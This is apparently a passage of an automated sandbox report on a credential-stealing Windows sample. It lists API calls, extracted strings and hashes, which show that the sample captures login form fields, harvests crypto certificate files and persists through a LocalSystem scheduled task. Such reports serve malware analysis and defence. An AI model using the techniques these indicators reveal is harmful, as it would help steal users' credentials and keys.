                                                                                                                                                                                                            • Source File: 00000002.00000002.3391913803.0000000002C70000.00000040.00001000.00020000.00000000.sdmp, Offset: 02C70000, based on PE: true
                                                                                                                                                                                                            • Associated: 00000002.00000002.3391913803.0000000002CC7000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                            • Associated: 00000002.00000002.3391913803.0000000002CCC000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                                                                            • Snapshot File: hcaresult_2_2_2c70000_svchost.jbxd
                                                                                                                                                                                                            Yara matches
                                                                                                                                                                                                            Similarity
                                                                                                                                                                                                            • API ID: CreateThread
                                                                                                                                                                                                            • String ID: :\progra~1\common~1\crypto~1$:\users\public$\crypto pro\$\crypto\$\cryptokit\$\maxthon3\public\$\microsoft\crypto\$\micros~\crypto\$\private\$\progra~1\crypto~1\$\public\$\temporary internet files\$crypto$self.cer
                                                                                                                                                                                                            • API String ID: 2422867632-4225811205
                                                                                                                                                                                                            • Opcode ID: d8506171dc54286aaa14f5635b2bd32ad6b004eb0e6c86e0684824d830d2683b
                                                                                                                                                                                                            • Instruction ID: f957749078c1dfe3f2d110b89996cccc822d6fa633d1d0f0118c3aedab972dff
                                                                                                                                                                                                            • Opcode Fuzzy Hash: d8506171dc54286aaa14f5635b2bd32ad6b004eb0e6c86e0684824d830d2683b
                                                                                                                                                                                                            • Instruction Fuzzy Hash: AB417271A8172675FA2AB6359C89FBB5E9C8ED09DCF108533FC06E2005EB74C70585B1
                                                                                                                                                                                                            Function 00403440 Relevance: 66.9, APIs: 32, Strings: 6, Instructions: 368memoryfileCOMMON
                                                                                                                                                                                                            Download Yara Rule
                                                                                                                                                                                                            APIs
                                                                                                                                                                                                            • memset.MSVCRT ref: 0040348E
                                                                                                                                                                                                            • memset.MSVCRT ref: 004034AE
                                                                                                                                                                                                            • memset.MSVCRT ref: 004034CE
                                                                                                                                                                                                            • IsUserAnAdmin.SHELL32 ref: 004034D6
                                                                                                                                                                                                            • GetVersionExA.KERNEL32 ref: 004034F1
                                                                                                                                                                                                              • Part of subcall function 004033A0: GetVersionExA.KERNEL32(?,\\?\globalroot\systemroot\system32\tasks\), ref: 004033C7
                                                                                                                                                                                                              • Part of subcall function 004033A0: GetCurrentProcess.KERNEL32(00000008,00000000), ref: 004033E9
                                                                                                                                                                                                              • Part of subcall function 004033A0: OpenProcessToken.ADVAPI32(00000000), ref: 004033F0
                                                                                                                                                                                                              • Part of subcall function 004033A0: GetTokenInformation.ADVAPI32(00000000,00000012(TokenIntegrityLevel),?,00000004,?), ref: 00403411
                                                                                                                                                                                                              • Part of subcall function 004033A0: CloseHandle.KERNEL32(00000000), ref: 00403427
                                                                                                                                                                                                            • GetTickCount.KERNEL32 ref: 00403535
                                                                                                                                                                                                            • _snwprintf.MSVCRT ref: 0040354E
                                                                                                                                                                                                            • GetModuleFileNameW.KERNEL32(00000000,?,00000208,?,?,?,?,?,?,?,?,?,?,?,00000000,76D6DB30), ref: 004035AB
                                                                                                                                                                                                            • GetProcessHeap.KERNEL32(00000008,?,?,?,?,?,?,?,?,?,?,?,?,?,00000000,76D6DB30), ref: 004035F7
                                                                                                                                                                                                            • HeapAlloc.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,00000000,76D6DB30), ref: 004035FE
                                                                                                                                                                                                            • memset.MSVCRT ref: 00403616
                                                                                                                                                                                                            • _snwprintf.MSVCRT ref: 00403630
                                                                                                                                                                                                            • CreateFileW.KERNEL32(?,C0000000,00000003,00000000,00000003,00000080,00000000), ref: 00403653
                                                                                                                                                                                                            • SetFilePointer.KERNEL32(00000000,00000000,00000000,00000000,?,?,?,?,?,?,?,?,?,?,?), ref: 0040366A
                                                                                                                                                                                                            • GetFileSizeEx.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,?), ref: 0040367E
                                                                                                                                                                                                            Strings
                                                                                                                                                                                                            • p=Dv, xrefs: 0040382B
                                                                                                                                                                                                            • <Principals> <Principal id="LocalSystem"> <UserId>S-1-5-18</UserId> <RunLevel>HighestAvailable</RunLevel> , xrefs: 00403454
                                                                                                                                                                                                            • \\?\globalroot\systemroot\system32\tasks\, xrefs: 00403477
                                                                                                                                                                                                            • <Actions , xrefs: 004036EA
                                                                                                                                                                                                            • task%d, xrefs: 0040353C
                                                                                                                                                                                                            • 00-->, xrefs: 0040371F
                                                                                                                                                                                                            Memory Dump Source
                                                                                                                                                                                                            • Source File: 00000002.00000002.3375821338.0000000000400000.00000040.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                            • Associated: 00000002.00000002.3375821338.000000000045B000.00000040.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                                                                            • Snapshot File: hcaresult_2_2_400000_svchost.jbxd
                                                                                                                                                                                                            Yara matches
                                                                                                                                                                                                            Similarity
                                                                                                                                                                                                            • API ID: Filememset$Process$HeapTokenVersion_snwprintf$AdminAllocCloseCountCreateCurrentHandleInformationModuleNameOpenPointerSizeTickUser
                                                                                                                                                                                                            • String ID: <Principals> <Principal id="LocalSystem"> <UserId>S-1-5-18</UserId> <RunLevel>HighestAvailable</RunLevel> $00-->$<Actions $\\?\globalroot\systemroot\system32\tasks\$p=Dv$task%d
                                                                                                                                                                                                            • API String ID: 1601901853-2684908384
                                                                                                                                                                                                            • Opcode ID: d0b0790f7991d78f00ea7e7fde430ce6b596ebd0b63758b6d90d9f24c7b2decc
                                                                                                                                                                                                            • Instruction ID: fd62d51515435fe7aa577a9a46339635c431e4e957a39cb3738b378977d63dce
                                                                                                                                                                                                            • Opcode Fuzzy Hash: d0b0790f7991d78f00ea7e7fde430ce6b596ebd0b63758b6d90d9f24c7b2decc
                                                                                                                                                                                                            • Instruction Fuzzy Hash: C5D1E0B2504301ABC720EF64CC48B5B7BA8EFC8751F048669FA45A72D1E774EA04CB99
                                                                                                                                                                                                            Function 02C87A80 Relevance: 66.7, APIs: 28, Strings: 10, Instructions: 244memorystringthreadCOMMON
                                                                                                                                                                                                            Download Yara Rule
                                                                                                                                                                                                            APIs
                                                                                                                                                                                                            • GetProcessHeap.KERNEL32(00000008,00000002,7622F570,?,?), ref: 02C87AA3
                                                                                                                                                                                                            • HeapAlloc.KERNEL32(00000000), ref: 02C87AAA
                                                                                                                                                                                                            • memset.MSVCRT ref: 02C87ABE
                                                                                                                                                                                                            • IsBadReadPtr.KERNEL32(?,?), ref: 02C87ADB
                                                                                                                                                                                                            • memcpy.MSVCRT(00000000,?,?), ref: 02C87AEC
                                                                                                                                                                                                            • strstr.MSVCRT ref: 02C87AFD
                                                                                                                                                                                                            • strstr.MSVCRT ref: 02C87B10
                                                                                                                                                                                                            • PathAddBackslashA.SHLWAPI(82C31B07), ref: 02C87B3D
                                                                                                                                                                                                            • PathAppendA.SHLWAPI(?,82C31B07), ref: 02C87B4B
                                                                                                                                                                                                            • PathAddBackslashA.SHLWAPI(82C31B07), ref: 02C87B56
                                                                                                                                                                                                            • strstr.MSVCRT ref: 02C87BB8
                                                                                                                                                                                                            • strstr.MSVCRT ref: 02C87BCB
                                                                                                                                                                                                            • PathAddBackslashA.SHLWAPI(82C31CB5), ref: 02C87BFD
                                                                                                                                                                                                            • PathAppendA.SHLWAPI(?,82C31CB5), ref: 02C87C0B
                                                                                                                                                                                                            • PathAddBackslashA.SHLWAPI(82C31CB5), ref: 02C87C16
                                                                                                                                                                                                            • CreateThread.KERNEL32(00000000,00000000,02C90BE0,00000000,00000000,00000000), ref: 02C87C71
                                                                                                                                                                                                            • strstr.MSVCRT ref: 02C87C90
                                                                                                                                                                                                            • strstr.MSVCRT ref: 02C87CA3
                                                                                                                                                                                                            • PathAddBackslashA.SHLWAPI(82C31D7D), ref: 02C87CCF
                                                                                                                                                                                                            • PathAppendA.SHLWAPI(?,82C31D7D), ref: 02C87CDD
                                                                                                                                                                                                            • PathAddBackslashA.SHLWAPI(82C31D7D), ref: 02C87CE8
                                                                                                                                                                                                            • CreateThread.KERNEL32(00000000,00000000,02C92320,00000000,00000000,00000000), ref: 02C87D43
                                                                                                                                                                                                            • GetHandleInformation.KERNEL32(00000000,?), ref: 02C87D5B
                                                                                                                                                                                                            • CloseHandle.KERNEL32(00000000), ref: 02C87D6C
                                                                                                                                                                                                            • GetProcessHeap.KERNEL32(00000000,00000000), ref: 02C87D7B
                                                                                                                                                                                                            • HeapValidate.KERNEL32(00000000), ref: 02C87D7E
                                                                                                                                                                                                            • GetProcessHeap.KERNEL32(00000000,00000000), ref: 02C87D8B
                                                                                                                                                                                                            • HeapFree.KERNEL32(00000000), ref: 02C87D8E
                                                                                                                                                                                                            Strings
                                                                                                                                                                                                            Memory Dump Source
                                                                                                                                                                                                            • Source File: 00000002.00000002.3391913803.0000000002C70000.00000040.00001000.00020000.00000000.sdmp, Offset: 02C70000, based on PE: true
                                                                                                                                                                                                            • Associated: 00000002.00000002.3391913803.0000000002CC7000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                            • Associated: 00000002.00000002.3391913803.0000000002CCC000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                                                                            • Snapshot File: hcaresult_2_2_2c70000_svchost.jbxd
                                                                                                                                                                                                            Yara matches
                                                                                                                                                                                                            Similarity
                                                                                                                                                                                                            • API ID: Path$BackslashHeapstrstr$AppendProcess$CreateHandleThread$AllocCloseFreeInformationReadValidatememcpymemset
                                                                                                                                                                                                            • String ID: &ctl00%24MainMenu%24Login1%24Password=$&ctl00%24MainMenu%24Login1%24UserName=$82C31B07$82C31CB5$82C31D7D$login=$name_$pass.log$pass_$password=
                                                                                                                                                                                                            • API String ID: 3712039096-1556596417
                                                                                                                                                                                                            • Opcode ID: bc4795ce0416027ea288db6e4c46cf741d845e9ab50ed49406029dc371d60518
                                                                                                                                                                                                            • Instruction ID: 252726fe71358585feb8e42241803de4c5eb0124164b5c0843582dd19360e73c
                                                                                                                                                                                                            • Opcode Fuzzy Hash: bc4795ce0416027ea288db6e4c46cf741d845e9ab50ed49406029dc371d60518
                                                                                                                                                                                                            • Instruction Fuzzy Hash: D8818E31E4075467E7129B249C99FEB7BAC9F81745F24C0A5FD4997280EB70E948CBE0
                                                                                                                                                                                                            Function 02C8E3D0 Relevance: 65.0, APIs: 31, Strings: 6, Instructions: 253memorysynchronizationsleepCOMMON
                                                                                                                                                                                                            Download Yara Rule
                                                                                                                                                                                                            APIs
                                                                                                                                                                                                            • PathAddBackslashA.SHLWAPI(82c319a5), ref: 02C8E3F8
                                                                                                                                                                                                            • CreateDirectoryA.KERNEL32(02CCB8D0,00000000), ref: 02C8E439
                                                                                                                                                                                                            • GetLastError.KERNEL32 ref: 02C8E43F
                                                                                                                                                                                                            • IsUserAnAdmin.SHELL32 ref: 02C8E447
                                                                                                                                                                                                            • PathMakeSystemFolderA.SHLWAPI(02CCB8D0), ref: 02C8E456
                                                                                                                                                                                                            • SetLastError.KERNEL32(00000000), ref: 02C8E45D
                                                                                                                                                                                                            • SetFileAttributesA.KERNEL32(02CCB8D0,00000000), ref: 02C8E499
                                                                                                                                                                                                            • DeleteFileA.KERNEL32(02CCB8D0), ref: 02C8E4A4
                                                                                                                                                                                                            • PathAddBackslashA.SHLWAPI(82c319a5,?,?), ref: 02C8E4E6
                                                                                                                                                                                                            • CreateDirectoryA.KERNEL32(02CCB4B0,00000000), ref: 02C8E521
                                                                                                                                                                                                            • GetLastError.KERNEL32 ref: 02C8E527
                                                                                                                                                                                                            • IsUserAnAdmin.SHELL32 ref: 02C8E52F
                                                                                                                                                                                                            • PathMakeSystemFolderA.SHLWAPI(02CCB4B0), ref: 02C8E53E
                                                                                                                                                                                                            • SetLastError.KERNEL32(00000000), ref: 02C8E545
                                                                                                                                                                                                            • CreateDirectoryA.KERNEL32(02CCB4B0,00000000), ref: 02C8E573
                                                                                                                                                                                                            • GetLastError.KERNEL32 ref: 02C8E579
                                                                                                                                                                                                            • IsUserAnAdmin.SHELL32 ref: 02C8E581
                                                                                                                                                                                                            • PathMakeSystemFolderA.SHLWAPI(02CCB4B0), ref: 02C8E590
                                                                                                                                                                                                            • SetLastError.KERNEL32(00000000), ref: 02C8E597
                                                                                                                                                                                                            • GetFileAttributesA.KERNEL32(?), ref: 02C8E5A1
                                                                                                                                                                                                            • memset.MSVCRT ref: 02C8E5D7
                                                                                                                                                                                                            • SHFileOperationA.SHELL32(?), ref: 02C8E651
                                                                                                                                                                                                            • CreateMutexA.KERNEL32(00000000,00000000,Local\{EAF7eaFF-8989-4fe1-9A0D-95CD777C0214}), ref: 02C8E662
                                                                                                                                                                                                            • Sleep.KERNEL32(000003E8), ref: 02C8E673
                                                                                                                                                                                                            • ReleaseMutex.KERNEL32(00000000), ref: 02C8E67A
                                                                                                                                                                                                            • GetHandleInformation.KERNEL32(00000000,?), ref: 02C8E68C
                                                                                                                                                                                                            • CloseHandle.KERNEL32(00000000), ref: 02C8E69C
                                                                                                                                                                                                            • GetProcessHeap.KERNEL32(00000000,?), ref: 02C8E6AE
                                                                                                                                                                                                            • HeapValidate.KERNEL32(00000000), ref: 02C8E6B1
                                                                                                                                                                                                            • GetProcessHeap.KERNEL32(00000000,?), ref: 02C8E6BE
                                                                                                                                                                                                            • HeapFree.KERNEL32(00000000), ref: 02C8E6C1
                                                                                                                                                                                                            Strings
                                                                                                                                                                                                            Memory Dump Source
                                                                                                                                                                                                            • Source File: 00000002.00000002.3391913803.0000000002C70000.00000040.00001000.00020000.00000000.sdmp, Offset: 02C70000, based on PE: true
                                                                                                                                                                                                            • Associated: 00000002.00000002.3391913803.0000000002CC7000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                            • Associated: 00000002.00000002.3391913803.0000000002CCC000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                                                                            • Snapshot File: hcaresult_2_2_2c70000_svchost.jbxd
                                                                                                                                                                                                            Yara matches
                                                                                                                                                                                                            Similarity
                                                                                                                                                                                                            • API ID: ErrorLast$Path$CreateFileHeap$AdminDirectoryFolderMakeSystemUser$AttributesBackslashHandleMutexProcess$CloseDeleteFreeInformationOperationReleaseSleepValidatememset
                                                                                                                                                                                                            • String ID: 82c319a5$Local\{EAF7eaFF-8989-4fe1-9A0D-95CD777C0214}$P0#v$\*.bk$keys\$path.txt
                                                                                                                                                                                                            • API String ID: 959110331-2774194608
                                                                                                                                                                                                            • Opcode ID: 1da50f901f1b2a8d493264affff5fc432652e40cbd1404d00f32b51ac39a5e99
                                                                                                                                                                                                            • Instruction ID: 6466789fbf7a30f9a499f4654a09d8404d133709c81ab2713913d2c9a38732de
                                                                                                                                                                                                            • Opcode Fuzzy Hash: 1da50f901f1b2a8d493264affff5fc432652e40cbd1404d00f32b51ac39a5e99
                                                                                                                                                                                                            • Instruction Fuzzy Hash: A2911870E4468A9FE7129FB4982D7AB7BE8EF89309F148695F845D7301EB30CA05C790
                                                                                                                                                                                                            Function 02C77110 Relevance: 63.2, APIs: 32, Strings: 4, Instructions: 182memorysleepsynchronizationCOMMON
                                                                                                                                                                                                            Download Yara Rule
                                                                                                                                                                                                            APIs
                                                                                                                                                                                                              • Part of subcall function 02C76CD0: IsUserAnAdmin.SHELL32 ref: 02C76CDA
                                                                                                                                                                                                              • Part of subcall function 02C76CD0: memset.MSVCRT ref: 02C76D11
                                                                                                                                                                                                              • Part of subcall function 02C76CD0: memset.MSVCRT ref: 02C76D29
                                                                                                                                                                                                              • Part of subcall function 02C76CD0: RegOpenKeyExA.ADVAPI32(80000001,software\microsoft,00000000,00000101,?,?,?,?,?,7622F380), ref: 02C76D4B
                                                                                                                                                                                                              • Part of subcall function 02C76CD0: RegQueryValueExA.ADVAPI32(?,00000001,00000000,00000001,?,00000104,?,?,?,?,7622F380), ref: 02C76D71
                                                                                                                                                                                                              • Part of subcall function 02C76CD0: GetProcessHeap.KERNEL32(00000008,?,?,?,?,?,?,?,?,7622F380), ref: 02C76DFD
                                                                                                                                                                                                              • Part of subcall function 02C76CD0: HeapAlloc.KERNEL32(00000000,?,?,?,?,?,?,?,7622F380), ref: 02C76E04
                                                                                                                                                                                                            • OpenMutexA.KERNEL32(00100000,00000000,Global\{EAF799BF-8449-4fe1-9A0D-95CD39DC2014}), ref: 02C77155
                                                                                                                                                                                                            • Sleep.KERNEL32(00000064), ref: 02C77162
                                                                                                                                                                                                            • OpenMutexA.KERNEL32(00100000,00000000,Global\{EAF799BF-8449-4fe1-9A0D-95CD39DC2014}), ref: 02C77174
                                                                                                                                                                                                            • ReleaseMutex.KERNEL32(00000000), ref: 02C7717D
                                                                                                                                                                                                            • GetHandleInformation.KERNEL32(00000000,00000000), ref: 02C77195
                                                                                                                                                                                                            • CloseHandle.KERNEL32(00000000), ref: 02C771A7
                                                                                                                                                                                                            • GetProcessHeap.KERNEL32(00000000,00000000,7D2DE4BBa,7d2de43aa), ref: 02C771B2
                                                                                                                                                                                                            • HeapValidate.KERNEL32(00000000), ref: 02C771B5
                                                                                                                                                                                                            • GetProcessHeap.KERNEL32(00000000,00000000), ref: 02C771C2
                                                                                                                                                                                                            • HeapFree.KERNEL32(00000000), ref: 02C771C5
                                                                                                                                                                                                            • GetProcessHeap.KERNEL32(00000000,00000000,7D2DE4BBa,7d2de43aa), ref: 02C771D2
                                                                                                                                                                                                            • HeapValidate.KERNEL32(00000000), ref: 02C771D5
                                                                                                                                                                                                            • GetProcessHeap.KERNEL32(00000000,00000000), ref: 02C771E2
                                                                                                                                                                                                            • HeapFree.KERNEL32(00000000), ref: 02C771E5
                                                                                                                                                                                                            • SetCaretBlinkTime.USER32(000000FF), ref: 02C771F7
                                                                                                                                                                                                            • Sleep.KERNEL32(000001F4), ref: 02C77225
                                                                                                                                                                                                            • StrToIntA.SHLWAPI(00000000,7D2DE4BBa,7d2de43aa), ref: 02C77255
                                                                                                                                                                                                            • GetProcessHeap.KERNEL32(00000000,00000000,7D2DE4BBa,7d2de43aa), ref: 02C77265
                                                                                                                                                                                                            • HeapValidate.KERNEL32(00000000), ref: 02C77268
                                                                                                                                                                                                            • GetProcessHeap.KERNEL32(00000000,00000000), ref: 02C77275
                                                                                                                                                                                                            • HeapFree.KERNEL32(00000000), ref: 02C77278
                                                                                                                                                                                                            • GetProcessHeap.KERNEL32(00000000,00000000,7D2DE4BBa,7d2de43aa), ref: 02C77285
                                                                                                                                                                                                            • HeapValidate.KERNEL32(00000000), ref: 02C77288
                                                                                                                                                                                                            • GetProcessHeap.KERNEL32(00000000,00000000), ref: 02C77295
                                                                                                                                                                                                            • HeapFree.KERNEL32(00000000), ref: 02C77298
                                                                                                                                                                                                            • Sleep.KERNEL32(00001388,7D2DE4BBa,7d2de43aa), ref: 02C772A3
                                                                                                                                                                                                            • closesocket.WS2_32(?), ref: 02C772D5
                                                                                                                                                                                                            • HeapFree.KERNEL32(00000000,00000000,?), ref: 02C772F5
                                                                                                                                                                                                            • HeapFree.KERNEL32(00000000,00000000,00000000), ref: 02C7730D
                                                                                                                                                                                                            • ReleaseMutex.KERNEL32(00000000), ref: 02C7731F
                                                                                                                                                                                                            • GetHandleInformation.KERNEL32(00000000,00000000), ref: 02C77342
                                                                                                                                                                                                            • CloseHandle.KERNEL32(00000000), ref: 02C7735C
                                                                                                                                                                                                            Strings
                                                                                                                                                                                                            Memory Dump Source
                                                                                                                                                                                                            • Source File: 00000002.00000002.3391913803.0000000002C70000.00000040.00001000.00020000.00000000.sdmp, Offset: 02C70000, based on PE: true
                                                                                                                                                                                                            • Associated: 00000002.00000002.3391913803.0000000002CC7000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                            • Associated: 00000002.00000002.3391913803.0000000002CCC000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                                                                            • Snapshot File: hcaresult_2_2_2c70000_svchost.jbxd
                                                                                                                                                                                                            Yara matches
                                                                                                                                                                                                            Similarity
                                                                                                                                                                                                            • API ID: Heap$Process$Free$HandleMutexValidate$OpenSleep$CloseInformationReleasememset$AdminAllocBlinkCaretQueryTimeUserValueclosesocket
                                                                                                                                                                                                            • String ID: 7D2DE4BBa$7d2de43aa$Global\{EAF799BF-8449-4fe1-9A0D-95CD39DC2014}$P0#v
                                                                                                                                                                                                            • API String ID: 2871222221-1211495773
                                                                                                                                                                                                            • Opcode ID: 3548ed7930c8310a1a6d6fdce46fdacbe7c0baa39350409f53353e310799427f
                                                                                                                                                                                                            • Instruction ID: 355d3170b7eb5f5d60cfc9c333afc7f07641622d6f6c910446bbb4ad717ae0df
                                                                                                                                                                                                            • Opcode Fuzzy Hash: 3548ed7930c8310a1a6d6fdce46fdacbe7c0baa39350409f53353e310799427f
                                                                                                                                                                                                            • Instruction Fuzzy Hash: CC51E331E84798ABE722AB709C0CF2BBB6CAF84B55F044B54F919C7181DB74D9148BA1
                                                                                                                                                                                                            Function 02C8B260 Relevance: 58.0, APIs: 25, Strings: 8, Instructions: 268fileCOMMON
                                                                                                                                                                                                            Download Yara Rule
                                                                                                                                                                                                            APIs
                                                                                                                                                                                                            • memset.MSVCRT ref: 02C8B27F
                                                                                                                                                                                                            • PathAddBackslashA.SHLWAPI(82C3184B), ref: 02C8B2B7
                                                                                                                                                                                                            • CreateDirectoryA.KERNEL32(?,00000000), ref: 02C8B2F7
                                                                                                                                                                                                            • GetLastError.KERNEL32 ref: 02C8B301
                                                                                                                                                                                                            • IsUserAnAdmin.SHELL32 ref: 02C8B309
                                                                                                                                                                                                            • PathMakeSystemFolderA.SHLWAPI(?), ref: 02C8B31A
                                                                                                                                                                                                            • SetLastError.KERNEL32(00000000), ref: 02C8B321
                                                                                                                                                                                                            • StrStrIA.SHLWAPI(?,crypto), ref: 02C8B333
                                                                                                                                                                                                            • StrStrIA.SHLWAPI(?,self.cer), ref: 02C8B346
                                                                                                                                                                                                            • StrStrIA.SHLWAPI(?,self.pub), ref: 02C8B357
                                                                                                                                                                                                            • SetFileAttributesA.KERNEL32(?,00000000), ref: 02C8B3A2
                                                                                                                                                                                                            • DeleteFileA.KERNEL32(?), ref: 02C8B3AF
                                                                                                                                                                                                            Strings
                                                                                                                                                                                                            Memory Dump Source
                                                                                                                                                                                                            • Source File: 00000002.00000002.3391913803.0000000002C70000.00000040.00001000.00020000.00000000.sdmp, Offset: 02C70000, based on PE: true
                                                                                                                                                                                                            • Associated: 00000002.00000002.3391913803.0000000002CC7000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                            • Associated: 00000002.00000002.3391913803.0000000002CCC000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                                                                            • Snapshot File: hcaresult_2_2_2c70000_svchost.jbxd
                                                                                                                                                                                                            Yara matches
                                                                                                                                                                                                            Similarity
                                                                                                                                                                                                            • API ID: ErrorFileLastPath$AdminAttributesBackslashCreateDeleteDirectoryFolderMakeSystemUsermemset
                                                                                                                                                                                                            • String ID: 82C3184B$Local\{EAF799BF-8989-4fe1-9A0D-95CD39DC2014}$P0#v$crypto$keys.zip$path.txt$self.cer$self.pub
                                                                                                                                                                                                            • API String ID: 3980609930-401678537
                                                                                                                                                                                                            • Opcode ID: 8d69909094daf1b09538030effbc9798d8e4e2f7ea46bc0f6493ce76d0cedd48
                                                                                                                                                                                                            • Instruction ID: 5ad5ee6bccef20e133d7fc16b21af62fb9397bf821c6795b30a19155e8360a8c
                                                                                                                                                                                                            • Opcode Fuzzy Hash: 8d69909094daf1b09538030effbc9798d8e4e2f7ea46bc0f6493ce76d0cedd48
                                                                                                                                                                                                            • Instruction Fuzzy Hash: 98912631D402999FDB16AB749C59BEA7BE8AFC570CF04C698E94AD7240DB70DE04CB90
                                                                                                                                                                                                            Function 02C92AE0 Relevance: 56.2, APIs: 24, Strings: 8, Instructions: 193stringsynchronizationsleepCOMMON
                                                                                                                                                                                                            Download Yara Rule
                                                                                                                                                                                                            APIs
                                                                                                                                                                                                            • strstr.MSVCRT ref: 02C92B23
                                                                                                                                                                                                            • strstr.MSVCRT ref: 02C92B36
                                                                                                                                                                                                            • strstr.MSVCRT ref: 02C92B49
                                                                                                                                                                                                            • PathAddBackslashA.SHLWAPI(02CCAFC0), ref: 02C92B77
                                                                                                                                                                                                            • PathAddBackslashA.SHLWAPI(02CCAFC0), ref: 02C92BAD
                                                                                                                                                                                                            • CreateDirectoryA.KERNEL32(?,00000000,02CCAFC0), ref: 02C92BC2
                                                                                                                                                                                                            • GetLastError.KERNEL32 ref: 02C92BCC
                                                                                                                                                                                                            • IsUserAnAdmin.SHELL32 ref: 02C92BD4
                                                                                                                                                                                                            • PathMakeSystemFolderA.SHLWAPI(?), ref: 02C92BE5
                                                                                                                                                                                                            • SetLastError.KERNEL32(00000000), ref: 02C92BEC
                                                                                                                                                                                                            • SetCurrentDirectoryA.KERNEL32(?), ref: 02C92BF9
                                                                                                                                                                                                            • strstr.MSVCRT ref: 02C92C2C
                                                                                                                                                                                                            • PathAddBackslashA.SHLWAPI(02CCAFC0), ref: 02C92C57
                                                                                                                                                                                                            • CreateDirectoryA.KERNEL32(?,00000000), ref: 02C92C91
                                                                                                                                                                                                            • GetLastError.KERNEL32 ref: 02C92C9B
                                                                                                                                                                                                            • IsUserAnAdmin.SHELL32 ref: 02C92CA3
                                                                                                                                                                                                            • PathMakeSystemFolderA.SHLWAPI(?), ref: 02C92CB4
                                                                                                                                                                                                            • SetLastError.KERNEL32(00000000), ref: 02C92CBB
                                                                                                                                                                                                            • SetCurrentDirectoryA.KERNEL32(?), ref: 02C92CC8
                                                                                                                                                                                                            • CreateMutexA.KERNEL32(00000000,00000000,Local\{EAF799BF-89ea-4fe1-9A0D-95CD39DC0214},02C8753A,02C8753B), ref: 02C92CFE
                                                                                                                                                                                                            • Sleep.KERNEL32(000003E8), ref: 02C92D0F
                                                                                                                                                                                                            • ReleaseMutex.KERNEL32(00000000), ref: 02C92D16
                                                                                                                                                                                                            • GetHandleInformation.KERNEL32(00000000,02C8753A), ref: 02C92D28
                                                                                                                                                                                                            • CloseHandle.KERNEL32(00000000), ref: 02C92D39
                                                                                                                                                                                                            Strings
                                                                                                                                                                                                            Memory Dump Source
                                                                                                                                                                                                            • Source File: 00000002.00000002.3391913803.0000000002C70000.00000040.00001000.00020000.00000000.sdmp, Offset: 02C70000, based on PE: true
                                                                                                                                                                                                            • Associated: 00000002.00000002.3391913803.0000000002CC7000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                            • Associated: 00000002.00000002.3391913803.0000000002CCC000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                                                                            • Snapshot File: hcaresult_2_2_2c70000_svchost.jbxd
                                                                                                                                                                                                            Yara matches
                                                                                                                                                                                                            Similarity
                                                                                                                                                                                                            • API ID: Path$DirectoryErrorLaststrstr$BackslashCreate$AdminCurrentFolderHandleMakeMutexSystemUser$CloseInformationReleaseSleep
                                                                                                                                                                                                            • String ID: IDToken1=$IDToken2=$Local\{EAF799BF-89ea-4fe1-9A0D-95CD39DC0214}$P0#v$YotaConfirmForm%5Bpassword%5D$login.yota.ru$pass.txt$pass2.txt
                                                                                                                                                                                                            • API String ID: 1263884631-1922424858
                                                                                                                                                                                                            • Opcode ID: 08561d88b8cbc3e258832f2eacacf9f89692b588722b0ab1872e5e37efeff1f5
                                                                                                                                                                                                            • Instruction ID: 93fde4a2732c95acd5d75c4d9674dba764e2e6ed506e508d1241570a2ef67f6d
                                                                                                                                                                                                            • Opcode Fuzzy Hash: 08561d88b8cbc3e258832f2eacacf9f89692b588722b0ab1872e5e37efeff1f5
                                                                                                                                                                                                            • Instruction Fuzzy Hash: D651E031A406596BEF229B349C1CBAA3B9CAF85349F144A94ECC6D7140DF71C648CBA2
                                                                                                                                                                                                            Function 02C753E0 Relevance: 52.8, APIs: 23, Strings: 7, Instructions: 271memoryfileCOMMON
                                                                                                                                                                                                            Download Yara Rule
                                                                                                                                                                                                            APIs
                                                                                                                                                                                                            • PathAddBackslashA.SHLWAPI(?,76232F00,00000000,76230F00), ref: 02C75405
                                                                                                                                                                                                            • SetFileAttributesA.KERNEL32(?,00000000), ref: 02C7543F
                                                                                                                                                                                                            • DeleteFileA.KERNEL32(?), ref: 02C7544C
                                                                                                                                                                                                            • CreateFileA.KERNEL32(?,C0000000,00000003,00000000,00000002,00000080,00000000), ref: 02C7546B
                                                                                                                                                                                                            • SHGetFolderPathA.SHELL32(00000000,00000022,00000000,00000000,?), ref: 02C7548C
                                                                                                                                                                                                            • GetProcessHeap.KERNEL32(00000000,00000000,02C82665,00000001), ref: 02C7550B
                                                                                                                                                                                                            • HeapValidate.KERNEL32(00000000), ref: 02C7550E
                                                                                                                                                                                                            • GetProcessHeap.KERNEL32(00000000,00000000), ref: 02C7551B
                                                                                                                                                                                                            • HeapFree.KERNEL32(00000000), ref: 02C7551E
                                                                                                                                                                                                            • SHGetFolderPathA.SHELL32(00000000,0000001A,00000000,00000000,?), ref: 02C75533
                                                                                                                                                                                                            Strings
                                                                                                                                                                                                            Memory Dump Source
                                                                                                                                                                                                            • Source File: 00000002.00000002.3391913803.0000000002C70000.00000040.00001000.00020000.00000000.sdmp, Offset: 02C70000, based on PE: true
                                                                                                                                                                                                            • Associated: 00000002.00000002.3391913803.0000000002CC7000.00000040.00001000.00020000.00000000.sdmpDownload File
